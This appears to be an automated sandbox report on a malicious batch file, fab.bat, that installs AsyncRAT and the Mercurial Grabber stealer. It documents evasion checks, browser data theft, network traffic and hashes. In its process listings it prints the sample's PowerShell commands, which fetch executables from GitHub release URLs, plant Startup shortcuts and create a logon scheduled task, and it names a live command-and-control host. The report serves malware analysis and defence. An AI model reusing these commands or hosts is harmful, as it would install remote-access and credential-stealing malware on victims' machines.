Malware Analysis Report

2024-11-30 15:47

Sample ID 241122-bhzeta1lgw
Target fab.bat
SHA256 412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74
Tags
asyncrat mercurialgrabber default evasion execution rat spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

412476007cd57ca529c83c386125249fbe0952a2522f5d838ffd3fb10a6e1f74

Threat Level: Known bad

The file fab.bat was found to be: Known bad.

Malicious Activity Summary

asyncrat mercurialgrabber default evasion execution rat spyware stealer

AsyncRat

Mercurial Grabber Stealer

Asyncrat family

Mercurialgrabber family

Looks for VirtualBox Guest Additions in registry

Async RAT payload

Looks for VMWare Tools registry key

Blocklisted process makes network request

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Checks BIOS information in registry

Reads user/profile data of web browsers

Executes dropped EXE

Drops startup file

Checks computer location settings

Maps connected drives based on registry

Looks up external IP address via web service

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Scheduled Task/Job: Scheduled Task

Suspicious use of WriteProcessMemory

Checks SCSI registry key(s)

Delays execution with timeout.exe

Enumerates system info in registry

Checks processor information in registry

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-22 01:09

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-22 01:09

Reported

2024-11-22 01:27

Platform

win10v2004-20241007-en

Max time kernel

1050s

Max time network

1052s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fab.bat"

Signatures

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

Mercurial Grabber Stealer

stealer mercurialgrabber

Mercurialgrabber family

mercurialgrabber

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions C:\Users\Admin\Desktop\output.exe N/A

Downloads MZ/PE file

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools C:\Users\Admin\Desktop\output.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\output.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\Loader.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\output.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Reads user/profile data of web browsers

spyware stealer

Looks up external IP address via web service

Description Indicator Process Target
N/A ip4.seeip.org N/A N/A
N/A ip-api.com N/A N/A

Maps connected drives based on registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\Desktop\output.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\Desktop\output.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S C:\Users\Admin\Desktop\output.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\Desktop\output.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation C:\Users\Admin\Desktop\output.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\output.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\Loader.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\Loader.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1668 wrote to memory of 5016 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 5016 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 3300 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 3300 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\output.exe
PID 1668 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\output.exe
PID 1668 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 1636 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 4564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1668 wrote to memory of 960 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\Loader.exe
PID 1668 wrote to memory of 960 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\Desktop\Loader.exe
PID 960 wrote to memory of 4124 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\System32\cmd.exe
PID 960 wrote to memory of 4124 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\System32\cmd.exe
PID 960 wrote to memory of 4864 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\system32\cmd.exe
PID 960 wrote to memory of 4864 N/A C:\Users\Admin\Desktop\Loader.exe C:\Windows\system32\cmd.exe
PID 4864 wrote to memory of 1540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 4864 wrote to memory of 1540 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 4124 wrote to memory of 380 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 4124 wrote to memory of 380 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\schtasks.exe
PID 4864 wrote to memory of 4228 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\WINDOWS.exe
PID 4864 wrote to memory of 4228 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\WINDOWS.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fab.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"

C:\Users\Admin\Desktop\output.exe

C:\Users\Admin\Desktop\output.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"

C:\Users\Admin\Desktop\Loader.exe

C:\Users\Admin\Desktop\Loader.exe

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpBFD5.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Windows\system32\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'

C:\Users\Admin\AppData\Roaming\WINDOWS.exe

"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 ip4.seeip.org udp
US 23.128.64.141:443 ip4.seeip.org tcp
GB 20.26.156.215:443 github.com tcp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 8.8.8.8:53 23.221.185.147.in-addr.arpa udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discordapp.com udp
US 162.159.133.233:443 discordapp.com tcp
US 162.159.133.233:443 discordapp.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 162.159.133.233:443 discordapp.com tcp
US 162.159.133.233:443 discordapp.com tcp
US 162.159.133.233:443 discordapp.com tcp
US 8.8.8.8:53 233.133.159.162.in-addr.arpa udp
US 162.159.133.233:443 discordapp.com tcp
US 8.8.8.8:53 56.163.245.4.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 72.72.21.2.in-addr.arpa udp
US 8.8.8.8:53 100.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 8.8.8.8:53 technical-southwest.gl.at.ply.gg udp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp
US 147.185.221.23:58694 technical-southwest.gl.at.ply.gg tcp

Files

memory/5016-0-0x00007FF974D63000-0x00007FF974D65000-memory.dmp

memory/5016-6-0x000001DD1BFB0000-0x000001DD1BFD2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qypkttc0.ypc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5016-11-0x00007FF974D60000-0x00007FF975821000-memory.dmp

memory/5016-12-0x00007FF974D60000-0x00007FF975821000-memory.dmp

memory/5016-16-0x00007FF974D60000-0x00007FF975821000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/3300-18-0x00007FF974D60000-0x00007FF975821000-memory.dmp

memory/3300-19-0x00007FF974D60000-0x00007FF975821000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a2b24af1492f112d2e53cb7415fda39f
SHA1 dbfcee57242a14b60997bd03379cc60198976d85
SHA256 fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA512 9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

memory/3300-30-0x00007FF974D60000-0x00007FF975821000-memory.dmp

C:\Users\Admin\Desktop\output.exe

MD5 a0e598ec98a975405420be1aadaa3c2a
SHA1 d861788839cfb78b5203686334c1104165ea0937
SHA256 e6ac8a6dac77f9873024f50befb293b9cf6347aa2e093cd863b551d9c8da5f8d
SHA512 e5ee500a8dcddd72e727cfa24e51093cd2b088f7ef89089f1d24145baa41c1ac46bf6be73bfd8cb15e2549349da8c2547d4e391b6e3a456621524fe0f83f9585

memory/3300-34-0x00007FF974D60000-0x00007FF975821000-memory.dmp

memory/5064-36-0x00000000000E0000-0x00000000000F0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 584d22b5c20db5b7ce671d0f1c552a50
SHA1 b9e6ad8174c29959aa2f9a680f7f5936d0775fb9
SHA256 8c39c5fd69dad8f0149514f44aca66bb4dd3ed78ec9cd2e8601342b4fd8ae2a4
SHA512 7446dfc78a24cdbc64f0ca73a9e1f7165a8480c399639dd08d88253b42d9d569b0b258df4b94186fc988f835752311f85218db0d1ea53e300e657780f8f4c399

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f54bb97620534dd95a2ea0320201f0ea
SHA1 437f442bfb37137260c0bde6b0f6e3e832737852
SHA256 fff6ee24ae8bcdd3214dc0416d8b5a190555069b7429a786637fe5a3d6421d1a
SHA512 57274884ec951a30976b8136c17b0be176b6c7fbe989d7b3a8f93b9553299179701ceeda72b812b7c3c4ab501c32d998e54e48ae162dd28387b0dd64fd5c6739

C:\Users\Admin\Desktop\Loader.exe

MD5 7ceb11ebb7a55e33a82bc3b66f554e79
SHA1 8dfd574ad06ded662d92d81b72f14c1914ac45b5
SHA256 aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603
SHA512 d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd

memory/960-63-0x0000000000790000-0x00000000007A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpBFD5.tmp.bat

MD5 bd4f33795e6bacbf6cda9acb17217680
SHA1 2161a2f8bdb0cda2f0747306328f37de7a77a9a5
SHA256 a0d6d6c7a5e8765a2cae6d9cf0234e737bf68d62ed7debccbc16a34f17c87beb
SHA512 5bf0508dcaec27006cebaca0a498d883435381ee8e93de6afdc77adade9d837a82d563c6cc9e0261c2607c0cfbb921d0fa3beb6d526e3176aa8c17aaddca3241

memory/4228-74-0x000000001C240000-0x000000001C2B6000-memory.dmp

memory/4228-75-0x0000000003060000-0x0000000003094000-memory.dmp

memory/4228-76-0x0000000003090000-0x00000000030AE000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-22 01:09

Reported

2024-11-22 01:12

Platform

win10ltsc2021-20241023-en

Max time kernel

150s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fab.bat"

Signatures

AsyncRat

rat asyncrat

Asyncrat family

asyncrat

Mercurial Grabber Stealer

stealer mercurialgrabber

Mercurialgrabber family

mercurialgrabber

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions C:\Users\Admin\Desktop\output.exe N/A

Downloads MZ/PE file

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools C:\Users\Admin\Desktop\output.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\output.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1263212995-3575756360-1418101905-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\Loader.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\output.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\WINDOWS.exe N/A

Reads user/profile data of web browsers

spyware stealer

Looks up external IP address via web service

Description Indicator Process Target
N/A ip4.seeip.org N/A N/A
N/A ip-api.com N/A N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 C:\Users\Admin\Desktop\output.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S C:\Users\Admin\Desktop\output.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\Desktop\output.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0 C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer C:\Users\Admin\Desktop\output.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName C:\Users\Admin\Desktop\output.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
N/A N/A C:\Users\Admin\Desktop\Loader.exe N/A
